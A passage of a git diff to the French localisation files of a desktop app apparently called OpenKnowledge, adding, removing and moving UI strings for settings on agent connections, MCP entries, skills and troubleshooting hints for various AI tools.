ou markdown pour construire un graphe."@@ -5551,6 +5762,7 @@"wQp1V3": ["Miroir de <0>", ["src"], "</0>"],"wQvvZY": ["Nouveau fichier de compétence"],"wRni1Z": ["Désactiver Slidev"],+ "wSBXaS": ["Gérer ", ["rowLabel"]],"wT4iQr": ["Ouvre la recherche de l'éditeur visuel avec les contrôles de remplacement dépliés."],@@ -5574,7 +5786,9 @@"wdxz7K": ["Source"],"wdzBgi": ["Le partage de la configuration est maintenant réglé sur Moi uniquement."],"weP6me": ["Impossible de charger les documents — saisissez @ à nouveau pour réessayer"],+ "wfZwqe": ["Installer ", ["rowLabel"]],"wgNoIs": ["Tout sélectionner"],+ "wgj--j": ["Ajoute une entrée MCP OpenKnowledge globale pour cet agent."],"wk_v1X": ["La synchronisation de ce worktree est réglée sur Auto (Tirer et Pousser), héritée de ",["project"],@@ -5735,7 +5949,6 @@],"y_5CE8": ["Élément ", ["0"]],"y_K0Dz": ["Que s'est-il passé ?"],- "yaPGPa": ["Ouvrez un projet pour gérer ses connexions aux outils IA."],"ybPMz3": ["Impossible d'épingler ", ["name"]],"ycIX5i": ["Vous êtes déconnecté — connectez-vous pour reprendre la synchronisation."],"yckias": ["Renommer le fichier"],@@ -5758,9 +5971,6 @@["source"],"</0> : les agents exécutés ici ne peuvent pas le charger. Copiez-le ici pour le modifier."],- "yhdqox": [- "Installé — ok est disponible dans les terminaux externes. Décocher le retire ; le terminal intégré et les outils IA d'OpenKnowledge continuent de fonctionner."- ],"yhy5h-": ["Voir les ", ["count"], " compétences"],"yit5dF": ["Aucun dossier dans ce projet pour l'instant."],"yjExfe": ["La branche <0>", ["shareBranch"], "</0> est extraite dans :"],@@ -5777,7 +5987,6 @@"yvG-l1": ["Ouvrir le panneau de vérification de la source"],"yvHDYG": ["Claude Desktop"],"yvSAuM": ["Arrêter la correction. Les fichiers déjà corrigés le restent."],- "ywVfOE": ["La compétence de ce projet a été déplacée vers Studio de compétences."],"yxF19Y": [["0",diff --git a/packages/app/src/locales/fr/messages.po b/packages/app/src/locales/fr/messages.poindex 7cfc6aae9..6a388bd29 100644--- a/packages/app/src/locales/fr/messages.po+++ b/packages/app/src/locales/fr/messages.po@@ -330,6 +330,12 @@ msgstr "{0} permet à {1} d'agir sans demander"msgid "{0} needs {1}"msgstr "{0} a besoin de {1}"+#. placeholder {0}: removed.dependent+#. placeholder {1}: removed.prerequisite+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{0} needs {1}. Turn both off, or keep both on."+msgstr "{0} a besoin de {1}. Désactivez les deux, ou laissez les deux activés."+#. placeholder {0}: item.displayName#: src/components/acp/ThreadView.tsxmsgid "{0} needs replacing"@@ -470,6 +476,31 @@ msgstr "il y a {0} ans"msgid "{accessibleLabel} (conflict)"msgstr "{accessibleLabel} (conflit)"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude-desktop.per-tool-approval"+msgstr "{agent} vous demande d'approuver chaque outil OpenKnowledge à sa première utilisation."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.session-injection"+msgstr "{agent} reçoit les outils d'OpenKnowledge à chaque fois qu'OpenKnowledge le lance ; rien n'est écrit dans sa configuration."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.pi.folder-trust"+msgstr "{agent} ne charge les extensions de projet que dans les dossiers que vous avez approuvés ; approuvez ce dossier dans {agent} si les outils n'apparaissent pas."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.copilot.shared-workspace-config"+msgstr "{agent} lit la configuration MCP de l'espace de travail qu'OpenKnowledge écrit pour {sourceAgent} ; la retirer pour l'un la retire pour les deux."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.openclaw.central-store-missing"+msgstr "Le magasin central de compétences de {agent} n'existe pas encore ; lancez {agent} une fois pour qu'il le crée, puis réessayez."+#: src/components/acp/ThreadView.tsxmsgid "{agentName} couldn't start a conversation."msgstr "{agentName} n’a pas pu démarrer de conversation."@@ -520,6 +551,10 @@ msgstr "{boldName} fait partie du plugin <0>{0}</0>{pluginVersion} — lecture smsgid "{boldName} lives outside this project, at <0>{source}</0> — agents running here can't load it. Copy it in to edit."msgstr "{boldName} se trouve en dehors de ce projet, dans <0>{source}</0> : les agents exécutés ici ne peuvent pas le charger. Copiez-le ici pour le modifier."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{changeCount, plural, one {# change} other {# changes}}"+msgstr "{changeCount, plural, one {# modification} many {# modifications} other {# modifications}}"+#: src/components/EditorFooter.tsxmsgid "{chars, plural, one {char} other {chars}}"msgstr "{chars, plural, one {car.} many {car.} other {car.}}"@@ -609,6 +644,26 @@ msgstr "{days, plural, one {il y a # jour} many {il y a # jours} other {il y a #msgid "{days}d ago"msgstr "il y a {days} j"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge cannot safely replace that entry in this file's format."+msgstr "{dependent} a besoin de {prerequisite}, et OpenKnowledge ne peut pas remplacer cette entrée en toute sécurité dans le format de ce fichier."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge could not find this agent on this machine."+msgstr "{dependent} a besoin de {prerequisite}, et OpenKnowledge n'a pas trouvé cet agent sur cette machine."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge does not recognize that entry. Tick {prerequisite} to replace it, then save again."+msgstr "{dependent} a besoin de {prerequisite}, et OpenKnowledge ne reconnaît pas cette entrée. Cochez {prerequisite} pour la remplacer, puis enregistrez à nouveau."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and this agent has no file of that kind on this machine yet. Open the agent once, then try again."+msgstr "{dependent} a besoin de {prerequisite}, et cet agent n'a pas encore de fichier de ce type sur cette machine. Ouvrez-le une fois, puis réessayez."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, which OpenKnowledge cannot set up for you. Its setup guide has the manual steps."+msgstr "{dependent} a besoin de {prerequisite}, qu'OpenKnowledge ne peut pas configurer à votre place. Son guide de configuration décrit les étapes manuelles."+#: src/editor/extensions/JsxComponentView.tsxmsgid "{descriptorLabel} — render error, source editable below"msgstr "{descriptorLabel} — erreur de rendu, source modifiable ci-dessous"@@ -650,7 +705,7 @@ msgstr "{displayName} ({bin}) n'est pas installé ni présent dans votre PATH."#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} CLI"msgstr "CLI {displayName}"@@ -660,7 +715,7 @@ msgid "{displayName} CLI, {hint}"msgstr "CLI {displayName}, {hint}"#: src/components/handoff/agent-launcher-labels.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} Desktop"msgstr "{displayName} Desktop"@@ -1064,10 +1119,6 @@ msgstr "<{componentName}> n'est pas un composant connu. Copiez la source pour l'msgid "<{descriptorLabel}> failed to render (likely a bad prop). Copy the source to see what went wrong, or delete the block."msgstr "Le rendu de <{descriptorLabel}> a échoué (probablement une propriété incorrecte). Copiez la source pour voir ce qui ne va pas, ou supprimez le bloc."-#: src/components/settings/AiToolsSection.tsx-msgid "<0>~/.ok/bin</0> and <1>~/.ok/env.sh</1> stay either way — the app always maintains them."-msgstr "<0>~/.ok/bin</0> et <1>~/.ok/env.sh</1> restent dans les deux cas — l'application les maintient toujours."-#: src/editor/components/Mirror.tsxmsgid "<0>Mirror — pick a source.</0> Set <1>src</1> + <2>anchor</2> via the property panel to point at a <3><MirrorSource></3> elsewhere."msgstr "<0>Miroir — choisissez une source.</0> Définissez <1>src</1> + <2>anchor</2> dans le panneau des propriétés pour pointer vers un <3><MirrorSource></3> ailleurs."@@ -1493,6 +1544,14 @@ msgstr "Ajouter un élément à {keyName}"msgid "Add link"msgstr "Ajouter un lien"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill"+msgstr "Ajouter MCP et la compétence"++#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill for {rowLabel}"+msgstr "Ajouter MCP et la compétence pour {rowLabel}"+#: src/components/settings/SearchSection.tsxmsgid "Add meaning-based ranking to search so conceptually-related pages surface even when they share no keywords."msgstr "Ajoute à la recherche un classement fondé sur le sens, afin que les pages liées par le concept ressortent même sans mots-clés communs."@@ -1531,10 +1590,9 @@ msgstr "Ajouter un onglet"msgid "Add tag"msgstr "Ajouter une étiquette"-#. Checkbox in Settings → AI tools & CLI that adds the ok CLI to the user's shell PATH#. Toggle in the first-launch dialog that adds the ok CLI to the user's shell PATH#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Add the <0>ok</0> command to your terminal"msgstr "Ajoutez la commande <0>ok</0> à votre terminal"@@ -1568,16 +1626,15 @@ msgstr "Ajoutez vos commentaires à ce message"msgid "Added"msgstr "Ajouté"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds a global OpenKnowledge MCP entry for this agent."+msgstr "Ajoute une entrée MCP OpenKnowledge globale pour cet agent."+#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Adds a managed block to"msgstr "Ajoute un bloc géré à"-#. placeholder {0}: status.path.rcFilesToTouch.join(', ')-#: src/components/settings/AiToolsSection.tsx-msgid "Adds a managed block to {0}"-msgstr "Ajoute un bloc géré à {0}"-#. Subtext under the project AI-tools checkbox#: src/components/ProjectAiToolsField.tsxmsgid "Adds an OpenKnowledge MCP entry and the project skill to <0>{toolList}</0>, so your agents can read and edit your files."@@ -1588,6 +1645,20 @@ msgstr "Ajoute une entrée MCP OpenKnowledge et la compétence du projet à <0>{msgid "Adds an OpenKnowledge MCP entry to <0>{connectToolList}</0>, so your agents can read and edit your files."msgstr "Ajoute une entrée MCP OpenKnowledge à <0>{connectToolList}</0> pour que vos agents puissent lire et modifier vos fichiers."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds an OpenKnowledge MCP entry to this project's agent config."+msgstr "Ajoute une entrée MCP OpenKnowledge à la configuration d'agent de ce projet."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.user-config"+msgstr "Ajoute OpenKnowledge à la configuration MCP propre à {agent}, pour que tous les projets de cette machine soient accessibles."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.project-config"+msgstr "Ajoute OpenKnowledge à la configuration MCP que {agent} lit dans ce projet, pour qu'il puisse lire, rechercher et modifier ces documents."+#: src/components/ReportBugDialogBody.tsxmsgid "Adds telemetry, server state, and runtime info when available. Credentials are always removed; document names, if included, appear in cleartext (not redacted)."msgstr "Ajoute la télémétrie, l'état du serveur et les informations d'exécution lorsqu'elles sont disponibles. Les identifiants sont toujours supprimés ; les noms de documents, s'ils sont inclus, apparaissent en clair (non masqués)."@@ -1640,6 +1711,11 @@ msgstr "Chats d'agents"msgid "Agent configuration file"msgstr "Fichier de configuration de l'agent"+#: src/components/settings/AgentConnectionsSection.tsx+#: src/components/settings/SettingsDialogShell.tsx+msgid "Agent connections"+msgstr "Connexions des agents"+#: src/components/acp/ThreadView.tsxmsgid "Agent mode"msgstr "Mode agent"@@ -1661,23 +1737,14 @@ msgid "Agent transcript"msgstr "Transcription de l'agent"#: src/components/ExploreSkills.tsx+#: src/components/settings/SettingsDialogShell.tsxmsgid "Agents"msgstr "Agents"-#: src/components/settings/AiToolsSection.tsx-msgid "AI tool management is only available in the OpenKnowledge desktop app."-msgstr "La gestion des outils IA n'est disponible que dans l'application de bureau OpenKnowledge."--#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/settings/SettingsDialogShell.tsxmsgid "AI tools"msgstr "Outils IA"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/SettingsDialogShell.tsx-msgid "AI tools & CLI"-msgstr "Outils IA et CLI"-#: src/editor/bubble-menu/ImageAlignButtons.tsxmsgid "Align center"msgstr "Aligner au centre"@@ -2397,14 +2464,6 @@ msgstr "Les encadrés attirent l'attention sur les informations essentielles."msgid "Can't nest projects. An OpenKnowledge project already exists at <0>{rootPath}</0>. Choose a location outside it, or open that project instead."msgstr "Impossible d'imbriquer les projets. Un projet OpenKnowledge existe déjà dans <0>{rootPath}</0>. Choisissez un emplacement en dehors, ou ouvrez plutôt ce projet."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Can't safely edit this project config"-msgstr "Impossible de modifier en toute sécurité la configuration de ce projet"--#: src/components/settings/AiToolsSection.tsx-msgid "Can't safely edit this tool's config"-msgstr "Impossible de modifier en toute sécurité la configuration de cet outil"-#: src/lib/share/run-share-action.tsmsgid "Can't share this path."msgstr "Impossible de partager ce chemin."@@ -2433,6 +2492,7 @@ msgstr "Impossible de partager ce chemin."#: src/components/PublishToGitHubDialog.tsx#: src/components/ReportBugDialogBody.tsx#: src/components/SeedDialog.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/LinkPreviewsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/NetworkAccessSection.tsx@@ -2659,6 +2719,15 @@ msgstr "Choisir une icône"msgid "Choose what a new tab starts"msgstr "Choisissez ce qu'ouvre un nouvel onglet"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up for {0}."+msgstr "Choisissez ce qu’OpenKnowledge configure pour {0}."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up."+msgstr "Choisissez ce qu’OpenKnowledge configure."+#: src/comments/CommentSendFooter.tsxmsgid "Choose where to send these comments"msgstr "Choisissez où envoyer ces commentaires"@@ -2671,9 +2740,9 @@ msgstr "Choisir où envoyer ce message"msgid "Choose whether this project's OpenKnowledge setup, including its AI-tool connections, is saved with the project so teammates get it too, or kept only on your computer."msgstr "Choisissez si la configuration OpenKnowledge de ce projet, y compris ses connexions aux outils IA, est enregistrée avec le projet pour que vos coéquipiers l'obtiennent aussi, ou conservée uniquement sur votre ordinateur."-#: src/components/settings/ConfigureAgentsSection.tsx-msgid "Choose which agents appear in agent menus across the app, such as Ask AI, Open with AI, and the + new chat button. Turn an agent off to hide it from all of them."-msgstr "Choisissez quels agents apparaissent dans les menus d'agents de l'application, comme Ask AI, Open with AI et le bouton + de nouveau chat. Désactivez un agent pour le masquer de tous ces menus."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Choose which agents appear in agent menus across the app, and set them up to read and update your documents."+msgstr "Choisissez quels agents apparaissent dans les menus d'agents de l'application et configurez-les pour qu'ils puissent lire et mettre à jour vos documents."#. Section label above the light/dark/system cards in the first-launch dialog#: src/components/McpConsentDialogBody.tsx@@ -3147,7 +3216,6 @@ msgstr "Avertissements de configuration"#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/TerminalNewChatButton.tsxmsgid "Configure agents"@@ -3212,10 +3280,6 @@ msgstr "Connectez GitHub pour continuer."msgid "Connect OpenKnowledge to other tools you use."msgstr "Connectez OpenKnowledge aux autres outils que vous utilisez."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connect the AI tools you use to this specific project. These files live in the project folder, so anyone who opens it gets the same setup."-msgstr "Connectez les outils IA que vous utilisez à ce projet précis. Ces fichiers résident dans le dossier du projet, donc toute personne qui l'ouvre obtient la même configuration."-#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -3244,6 +3308,10 @@ msgstr "Connectez vos outils d'IA"msgid "Connect your AI tools to this project"msgstr "Connecter vos outils d'IA à ce projet"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Connected"+msgstr "Connecté"+#. placeholder {0}: response.dimensions#: src/components/settings/SearchSection.tsxmsgid "Connected — this endpoint returns {0}-dimension vectors."@@ -3292,10 +3360,18 @@ msgstr "Erreur de connexion — réessayez"msgid "Connection lost — keep this tab open, your edits will sync when reconnected"msgstr "Connexion perdue — gardez cet onglet ouvert, vos modifications se synchroniseront une fois reconnecté"-#. Next step for a Codex project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connects automatically the next time you open this project in a trusted Codex session."-msgstr "Se connecte automatiquement la prochaine fois que vous ouvrez ce projet dans une session Codex de confiance."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.trust-gated"+msgstr "Se connecte automatiquement la prochaine fois que vous ouvrez ce projet dans une session {agent} de confiance."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to OpenKnowledge in every project on this machine."+msgstr "Connecte l'agent à OpenKnowledge dans tous les projets de cette machine."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to this project so it can read, search, and edit your documents."+msgstr "Connecte l'agent à ce projet pour qu'il puisse lire, rechercher et modifier vos documents."#: src/components/acp/working-status.tsmsgid "Contemplating…"@@ -3663,9 +3739,8 @@ msgid "Couldn't add that comment."msgstr "Impossible d'ajouter ce commentaire."#. placeholder {0}: err instanceof Error ? err.message : String(err)-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Couldn't apply the change: {0}"msgstr "Impossible d'appliquer la modification : {0}"@@ -3673,6 +3748,10 @@ msgstr "Impossible d'appliquer la modification : {0}"msgid "Couldn't check whether {filePath} is still conflicted — retrying."msgstr "Impossible de vérifier si {filePath} est toujours en conflit — nouvelle tentative."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Couldn't check which tools are connected."+msgstr "Impossible de vérifier quels outils sont connectés."+#: src/components/settings/SearchSection.tsxmsgid "Couldn't clear the key — please try again."msgstr "Impossible d'effacer la clé — veuillez réessayer."@@ -3948,7 +4027,7 @@ msgstr "Impossible de joindre le serveur de collaboration — {errorDetail}. Essmsgid "Couldn't reach GitHub. Try again?"msgstr "Impossible de joindre GitHub. Réessayer ?"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Couldn't reach the agent registry."msgstr "Impossible de joindre le registre des agents."@@ -4401,11 +4480,6 @@ msgstr "Point de terminaison personnalisé"msgid "Custom HTML with a live preview pane (sandboxed iframe)."msgstr "HTML personnalisé avec un volet d'aperçu en direct (iframe en bac à sable)."-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Custom open-knowledge entry — not managed by OpenKnowledge"-msgstr "Entrée open-knowledge personnalisée — non gérée par OpenKnowledge"-#: src/components/settings/SkillTargetsPicker.tsxmsgid "Custom skills folder path"msgstr "Chemin du dossier de compétences personnalisé"@@ -4776,6 +4850,10 @@ msgstr "Déconnecter"msgid "Disconnecting"msgstr "Déconnexion"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Discovery skills are managed for all AI tools together. Install this one from Settings → Skills Studio."+msgstr "Les compétences de découverte sont gérées ensemble pour tous les outils d’IA. Installez celle-ci depuis Paramètres → Studio de compétences."+#: src/components/BranchRecycleBanner.tsx#: src/components/NavigatorApp.tsx#: src/components/OnboardingCard.tsx@@ -5260,17 +5338,17 @@ msgstr "Contenu de départ vide"#. placeholder {0}: agent.name#. placeholder {0}: plugin.label#. placeholder {0}: rule.name-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/markdownlint-rule-browser.tsxmsgid "Enable {0}"msgstr "Activer {0}"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} CLI"msgstr "Activer la CLI {displayName}"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} Desktop"msgstr "Activer {displayName} Desktop"@@ -5416,11 +5494,6 @@ msgstr "Saisissez une URL valide, par exemple https://notes.example.com"msgid "Enter the public origin your tunnel serves, for example https://notes.example.com"msgstr "Saisissez l'origine publique servie par votre tunnel, par exemple https://notes.example.com"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Entry"-msgstr "Entrée"-#: src/components/settings/ContentRulesSection.tsxmsgid "Error"msgstr "Erreur"@@ -5563,7 +5636,7 @@ msgstr "L'exposition fixe un port afin que la cible du tunnel reste stable d'un#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "External apps"msgstr "Applications externes"@@ -5947,8 +6020,6 @@ msgstr "Champs"#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/share-metadata-rows.tsx#: src/editor/slash-command/component-items.tsx#: src/lib/native-menu-catalog.ts@@ -6356,9 +6427,9 @@ msgstr "GitHub, une URL git, ou un chemin local."msgid "Give it a name before editing its colors."msgstr "Donnez-lui un nom avant de modifier ses couleurs."-#: src/components/settings/AiToolsSection.tsx-msgid "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."-msgstr "Donnez aux outils IA que vous utilisez l'accès en lecture et en écriture à vos projets. Cocher une case configure l'outil immédiatement ; décocher le retire."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Gives the agent instructions for working with your documents and keeps its edits attributed."+msgstr "Donne à l'agent des instructions pour travailler avec vos documents et conserve l'attribution de ses modifications."#: src/components/settings/LintingSection.tsxmsgid "Glob patterns this schema applies to"@@ -6370,6 +6441,10 @@ msgstr "Motifs glob auxquels ce schéma s'applique"msgid "Global"msgstr "Global"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Global MCP server"+msgstr "Serveur MCP global"+#: src/lib/keyboard-shortcuts.tsmsgid "Global outside text fields"msgstr "Global, hors champs de texte"@@ -6509,6 +6584,7 @@ msgstr "Aide"#. Subtext under the discovery-skill checkbox#: src/components/McpConsentDialogBody.tsx+#: src/components/settings/AgentConnectionDialogs.tsxmsgid "Help your agents discover and use OpenKnowledge in any project."msgstr "Aidez vos agents à découvrir et utiliser OpenKnowledge dans n'importe quel projet."@@ -6718,15 +6794,13 @@ msgstr "À quelle fréquence cet ordinateur récupère les modifications de votrmsgid "How to push manually"msgstr "Comment pousser manuellement"-#. Link on an undetected tool row to its OpenKnowledge setup guide-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "How to set up"msgstr "Comment configurer"-#. placeholder {0}: editor.label-#: src/components/settings/AiToolsSection.tsx-msgid "How to set up {0} (opens in browser)"-msgstr "Comment configurer {0} (s'ouvre dans le navigateur)"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "How to set up {rowLabel}"+msgstr "Comment configurer {rowLabel}"#: src/components/settings/builtin-skill-copy.tsmsgid "How to set up new projects with OpenKnowledge."@@ -6785,6 +6859,21 @@ msgstr "ID : {0}"msgid "Identical in both — {pick} still reads them."msgstr "Identiques dans les deux : {pick} continue de les lire."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.lm-studio.config-path-mismatch"+msgstr "Si {agent} n'affiche aucun outil OpenKnowledge, vérifiez que le chemin de sa configuration MCP dans ses réglages correspond au fichier écrit par OpenKnowledge."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude.project-entry-not-approved"+msgstr "Si {agent} n'affiche aucun outil OpenKnowledge, exécutez-le dans ce projet et approuvez le serveur OpenKnowledge une fois."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.cursor.project-entry-not-loaded"+msgstr "Si {agent} n'affiche aucun outil OpenKnowledge, activez le serveur dans Settings → Tools & MCP ; {agent} laisse les serveurs de projet désactivés tant que vous ne le faites pas."+#: src/components/AutoSyncEnableWarning.tsxmsgid "If an update arrives for something you are editing, you choose which version to keep, like a merge conflict."msgstr "Si une mise à jour arrive pour ce que vous êtes en train de modifier, vous choisissez quelle version conserver, comme pour un conflit de fusion."@@ -6888,7 +6977,7 @@ msgstr "Dans un document d'index : les entrées se trouvent sous un en-tête de#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TerminalNewChatButton.tsxmsgid "In app"msgstr "Dans l'application"@@ -7075,6 +7164,7 @@ msgid "Insert, delete, move, copy, and indent source editor lines through CodeMimsgstr "Insérez, supprimez, déplacez, copiez et mettez en retrait les lignes de l'éditeur de source via le mappage clavier par défaut de CodeMirror."#: src/components/InstallInClaudeDesktopDialog.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/IntegrationsSection.tsx#: src/components/settings/ProjectSkillSection.tsx#: src/components/settings/SkillsStudioIntroDialog.tsx@@ -7096,6 +7186,10 @@ msgstr "Installer {0}"msgid "Install {brand} →"msgstr "Installer {brand} →"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Install {rowLabel}"+msgstr "Installer {rowLabel}"+#: src/components/settings/SkillTargetsPicker.tsxmsgid "install a skill here first"msgstr "installez d'abord une compétence ici"@@ -7172,22 +7266,12 @@ msgstr "Installer la CLI gh"msgid "Install this skill"msgstr "Installer cette compétence"-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/LintingSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/SkillEditorActions.tsx#: src/components/SkillPluginBundleDialog.tsxmsgid "Installed"msgstr "Installé"-#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; OpenKnowledge's built-in terminal and AI tools keep working."-msgstr "Installé — ok est disponible dans les terminaux externes. Décocher le retire ; le terminal intégré et les outils IA d'OpenKnowledge continuent de fonctionner."--#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; your AI tools keep working."-msgstr "Installé — ok est disponible dans les terminaux externes. Décochez cette option pour le supprimer ; vos outils d’IA continueront de fonctionner."-#. placeholder {0}: skill.name#. placeholder {1}: label(added)#: src/components/skill-actions.tsx@@ -7245,6 +7329,14 @@ msgstr "S'installe pour tous vos projets"msgid "Installs into this project"msgstr "S'installe dans ce projet"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge discovery skill for this agent."+msgstr "Installe la compétence de découverte OpenKnowledge pour cet agent."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge project skill for this agent."+msgstr "Installe la compétence de projet OpenKnowledge pour cet agent."+#: src/components/SkillInstallMenu.tsxmsgid "Installs the skill to {path} — the first location holds its own copy"msgstr "Installe la skill dans {path} — le premier emplacement conserve sa propre copie"@@ -7643,7 +7735,7 @@ msgstr "Chargement de {fileName}"msgid "Loading agent activity"msgstr "Chargement de l'activité de l'agent"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Loading agents…"msgstr "Chargement des agents…"@@ -7866,11 +7958,16 @@ msgstr "Réponse listPacks mal formée"msgid "Malformed plan response"msgstr "Réponse de plan mal formée"+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx#: src/components/settings/ProjectSkillSection.tsxmsgid "Manage"msgstr "Gérer"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Manage {rowLabel}"+msgstr "Gérer {rowLabel}"+#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileTree.tsxmsgid "Manage hidden files in Settings → Ignore patterns."@@ -7884,13 +7981,10 @@ msgstr "Gérer les dossiers de compétences"msgid "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."msgstr "Gérez le compte GitHub qu'OpenKnowledge utilise pour parcourir et synchroniser vos dépôts."-#: src/components/settings/AiToolsSection.tsx-msgid "Managing AI tools is unavailable in this build."-msgstr "La gestion des outils IA n'est pas disponible dans cette version."--#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Managing project AI tools is unavailable in this build."-msgstr "La gestion des outils IA du projet n'est pas disponible dans cette version."+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Managing agent connections is unavailable in this build."+msgstr "La gestion des connexions des agents n'est pas disponible dans cette version."#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsx@@ -7946,12 +8040,9 @@ msgstr "Nombre maximal d'agents déjà en cours d'exécution"msgid "MCP auto-repair failed"msgstr "La réparation automatique de MCP a échoué"-#. Group label above the per-editor MCP list in Settings → AI tools & CLI — each row wires OpenKnowledge's MCP server into that tool-#. Group label above the per-editor project MCP list in Settings → This project → AI tools-#: 